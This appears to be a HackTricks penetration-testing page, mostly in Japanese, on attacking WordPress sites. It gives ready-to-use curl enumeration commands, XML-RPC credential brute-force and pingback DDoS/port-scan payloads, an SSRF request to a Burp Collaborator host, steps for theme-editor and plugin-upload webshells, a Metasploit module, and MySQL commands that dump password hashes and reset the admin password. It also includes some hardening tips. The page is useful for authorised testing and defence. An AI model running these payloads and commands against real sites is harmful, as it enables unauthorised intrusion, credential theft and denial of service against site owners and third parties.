Wordpress

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

基本情報

アップロードされたファイルは次の場所にあります: http://10.10.10.10/wp-content/uploads/2018/08/a.txt テーマファイルは/wp-content/themes/にあります。 したがって、RCEを取得するためにテーマのphpを変更する場合は、そのパスを使用することになります。例えば: テーマtwentytwelveを使用すると、次の場所にある404.phpファイルにアクセスできます: /wp-content/themes/twentytwelve/404.php 別の便利なURLは次のとおりです: /wp-content/themes/default/404.php

wp-config.phpにはデータベースのルートパスワードが含まれています。

確認するためのデフォルトのログインパス: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

主なWordPressファイル

  • index.php

  • license.txtには、インストールされたWordPressのバージョンなどの有用な情報が含まれています。

  • wp-activate.phpは、新しいWordPressサイトを設定する際のメールアクティベーションプロセスに使用されます。

  • ログインフォルダ(隠すために名前が変更される場合があります):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.phpは、HTTPを輸送メカニズム、XMLをエンコーディングメカニズムとして使用してデータを送信できるWordPressの機能を表すファイルです。このタイプの通信は、WordPressのREST APIに置き換えられました。

  • wp-contentフォルダは、プラグインとテーマが保存される主なディレクトリです。

  • wp-content/uploads/は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。

  • wp-includes/は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。

  • wp-sitemap.xmlは、Wordpressバージョン5.5以降、Wordpressがすべての公開投稿と公開可能な投稿タイプおよび分類のXMLサイトマップファイルを生成します。

ポストエクスプロイト

  • wp-config.phpファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルプレフィックスなど、WordPressがデータベースに接続するために必要な情報が含まれています。この設定ファイルは、トラブルシューティングに役立つDEBUGモードを有効にするためにも使用できます。

ユーザー権限

  • 管理者

  • エディター: 自分と他の投稿を公開および管理

  • 著者: 自分の投稿を公開および管理

  • 寄稿者: 自分の投稿を書くことができるが、公開できない

  • 購読者: 投稿をブラウズし、自分のプロフィールを編集

パッシブ列挙

WordPressバージョンを取得

/license.txtまたは/readme.htmlファイルが見つかるか確認します。

ページのソースコード内(https://wordpress.org/support/article/pages/からの例):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSSリンクファイル

  • JavaScriptファイル

プラグインを取得する

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

テーマを取得する

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

一般的なバージョンの抽出

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。 今すぐアクセスを取得:

アクティブな列挙

プラグインとテーマ

すべてのプラグインとテーマを見つけることはできないでしょう。すべてを発見するためには、プラグインとテーマのリストをアクティブにブルートフォースする必要があります(幸運なことに、このリストを含む自動化ツールがあります)。

ユーザー

IDブルート

ユーザーIDをブルートフォースすることで、WordPressサイトから有効なユーザーを取得します:

curl -s -I -X GET http://blog.example.com/?author=1

もしレスポンスが 200 または 30X であれば、それは id が 有効 であることを意味します。レスポンスが 400 の場合、id は 無効 です。

wp-json

ユーザーに関する情報を取得するために、次のようにクエリを試すこともできます:

curl http://blog.example.com/wp-json/wp/v2/users

別の /wp-json/ エンドポイントで、ユーザーに関する情報を明らかにすることができるのは次の通りです:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

このエンドポイントは、投稿を行ったユーザーのみを公開することに注意してください。この機能が有効なユーザーに関する情報のみが提供されます

また、/wp-json/wp/v2/pages はIPアドレスを漏洩する可能性があることに注意してください。

ログインユーザー名列挙

/wp-login.php にログインすると、メッセージ指定されたユーザー名が存在するかどうか異なります

XML-RPC

xml-rpc.php がアクティブな場合、資格情報のブルートフォース攻撃を実行するか、他のリソースに対してDoS攻撃を開始するために使用できます。(このプロセスを自動化するには、例えばこれを使用できます)。

アクティブかどうかを確認するには、/xmlrpc.php にアクセスして、このリクエストを送信してください:

チェック

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

クレデンシャルブルートフォース

wp.getUserBlogswp.getCategories または metaWeblog.getUsersBlogs は、クレデンシャルをブルートフォースするために使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

200コードのレスポンス内にあるメッセージ "不正なユーザー名またはパスワード" は、資格情報が無効な場合に表示されるべきです。

正しい資格情報を使用すると、ファイルをアップロードできます。レスポンスにはパスが表示されます (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

また、system.multicallを使用して、同じリクエストで複数の資格情報を試すことができるより速い方法があります:

2FAのバイパス

この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできる可能性があります。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecがhttps://www.youtube.com/watch?v=p8mIdm93mfw&t=1130sで説明しているように、RCEに到達できる可能性があります。

DDoSまたはポートスキャン

リスト内にメソッド_pingback.ping_が見つかれば、Wordpressに任意のホスト/ポートにリクエストを送信させることができます。 これを使用して、数千のWordpress サイト1つの場所にアクセスさせることができ(その場所でDDoSが発生します)、またはWordpressに内部ネットワークスキャンさせることができます(任意のポートを指定できます)。

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

faultCodeの値が0(17)より大きい場合、ポートが開いていることを意味します。

このメソッドを悪用してDDoSを引き起こす方法を学ぶには、前のセクションでの**system.multicall**の使用を見てください。

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

このファイルは通常、Wordpressサイトのルートに存在します: /wp-cron.php このファイルがアクセスされると、 "重い" MySQL クエリが実行されるため、攻撃者によってDoS引き起こすために使用される可能性があります。 また、デフォルトでは、wp-cron.phpはすべてのページロード時に呼び出されます(クライアントが任意のWordpressページをリクエストするたびに)、高トラフィックのサイトでは問題を引き起こす可能性があります(DoS)。

Wp-Cronを無効にし、ホスト内で必要なアクションを定期的に実行する実際のcronjobを作成することをお勧めします(問題を引き起こさないように)。

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net にアクセスしてみてください。そうすると、Worpressサイトがあなたにリクエストを送信するかもしれません。

これが動作しないときのレスポンスです:

SSRF

このツールは、methodName: pingback.pingと**/wp-json/oembed/1.0/proxy**のパスが存在するかどうかをチェックし、存在する場合はそれを悪用しようとします。

Automatic Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。 今すぐアクセスを取得:

ビットを上書きしてアクセスを取得

これは実際の攻撃以上に好奇心をそそるものです。CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-manでは、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル/var/www/html/wp-includes/user.phpの位置5389を反転させてNOT(!)操作をNOPにすることができました。

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

パネル RCE

使用しているテーマのphpを変更する(管理者の資格情報が必要)

外観 → テーマエディタ → 404テンプレート(右側)

phpシェルの内容に変更します:

インターネットでその更新されたページにアクセスする方法を検索します。この場合、ここにアクセスする必要があります: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

使用できます:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

プラグイン RCE

PHP プラグイン

プラグインとして .php ファイルをアップロードすることが可能かもしれません。 例えば、次のようにして PHP バックドアを作成します:

次に、新しいプラグインを追加します:

プラグインをアップロードし、「今すぐインストール」を押します:

「続行」をクリックします:

おそらく、これでは何も起こらないように見えますが、メディアに移動すると、アップロードしたシェルが表示されます:

アクセスすると、リバースシェルを実行するための URL が表示されます:

悪意のあるプラグインのアップロードと有効化

この方法は、脆弱性が知られている悪意のあるプラグインのインストールを含み、ウェブシェルを取得するために悪用される可能性があります。このプロセスは、WordPress ダッシュボードを通じて次のように実行されます:

  1. プラグインの取得: プラグインは、こちらのような Exploit DB などのソースから取得されます。

  2. プラグインのインストール:

  • WordPress ダッシュボードに移動し、ダッシュボード > プラグイン > プラグインのアップロードに進みます。

  • ダウンロードしたプラグインの zip ファイルをアップロードします。

  1. プラグインの有効化: プラグインが正常にインストールされたら、ダッシュボードを通じて有効化する必要があります。

  2. 悪用:

  • 「reflex-gallery」プラグインがインストールされ、有効化されている場合、脆弱性が知られているため、悪用することができます。

  • Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メーターpreter セッションを確立し、サイトへの不正アクセスを許可します。

  • これは、WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことに注意してください。

コンテンツには、プラグインのインストールと有効化の手順を示す視覚的な補助が含まれています。ただし、この方法で脆弱性を悪用することは、適切な承認なしに違法かつ非倫理的であることに注意が必要です。この情報は、責任を持って使用し、明示的な許可を得たペネトレーションテストなどの法的な文脈でのみ使用するべきです。

詳細な手順については、こちらを確認してください: https://www.hackingarticles.in/wordpress-reverse-shell/

XSS から RCE へ

  • WPXStrike: WPXStrike は、クロスサイトスクリプティング (XSS) 脆弱性を リモートコード実行 (RCE) または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、この投稿を確認してください。これは WordPress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:

  • 権限昇格: WordPress にユーザーを作成します。

  • (RCE) カスタムプラグイン (バックドア) アップロード: カスタムプラグイン (バックドア) を WordPress にアップロードします。

  • (RCE) ビルトインプラグイン編集: WordPress のビルトインプラグインを編集します。

  • (RCE) ビルトインテーマ編集: WordPress のビルトインテーマを編集します。

  • (カスタム) カスタムエクスプロイト: サードパーティの WordPress プラグイン/テーマ用のカスタムエクスプロイト。

ポストエクスプロイト

ユーザー名とパスワードを抽出します:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

管理者パスワードを変更する:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Wordpressプラグインがどのように機能を公開するかを知ることは、その機能の脆弱性を見つけるための鍵です。プラグインがどのように機能を公開するかは、以下の箇条書きとこのブログ記事の脆弱なプラグインの例で確認できます。

  • wp_ajax

プラグインが機能をユーザーに公開する方法の一つは、AJAXハンドラーを介することです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された任意のユーザーが持っている可能性のあるWordpress nonceの存在に基づいて、認証と認可の両方を行うことがよくあります(役割に関係なく)。

これらは、プラグイン内で機能を公開するために使用できる関数です:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

noprivの使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)がアクセス可能になります。

さらに、関数がwp_verify_nonce関数を使用してユーザーの認証を確認しているだけの場合、この関数は通常、ユーザーがログインしているかどうかを確認しているだけで、ユーザーの役割を確認しているわけではありません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。

  • REST API

register_rest_route関数を使用して、WordPressから関数を公開することも可能です:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callbackは、特定のユーザーがAPIメソッドを呼び出す権限があるかどうかを確認するためのコールバック関数です。

組み込みの__return_true関数が使用されている場合、ユーザー権限のチェックは単にスキップされます。

  • phpファイルへの直接アクセス

もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、どのユーザーでも悪用可能です。

WordPressの保護

定期的な更新

WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることを確認してください:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

また、信頼できるWordPressプラグインとテーマのみをインストールしてください

セキュリティプラグイン

その他の推奨事項

  • デフォルトのadminユーザーを削除する

  • 強力なパスワード2FAを使用する

  • 定期的にユーザーの権限レビューする

  • ブルートフォース攻撃を防ぐためにログイン試行回数を制限する

  • **wp-admin.php**ファイルの名前を変更し、内部または特定のIPアドレスからのみアクセスを許可する。

Trickestを使用して、世界で最も高度なコミュニティツールによって駆動されるワークフローを簡単に構築し、自動化してください。 今すぐアクセスを取得:

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated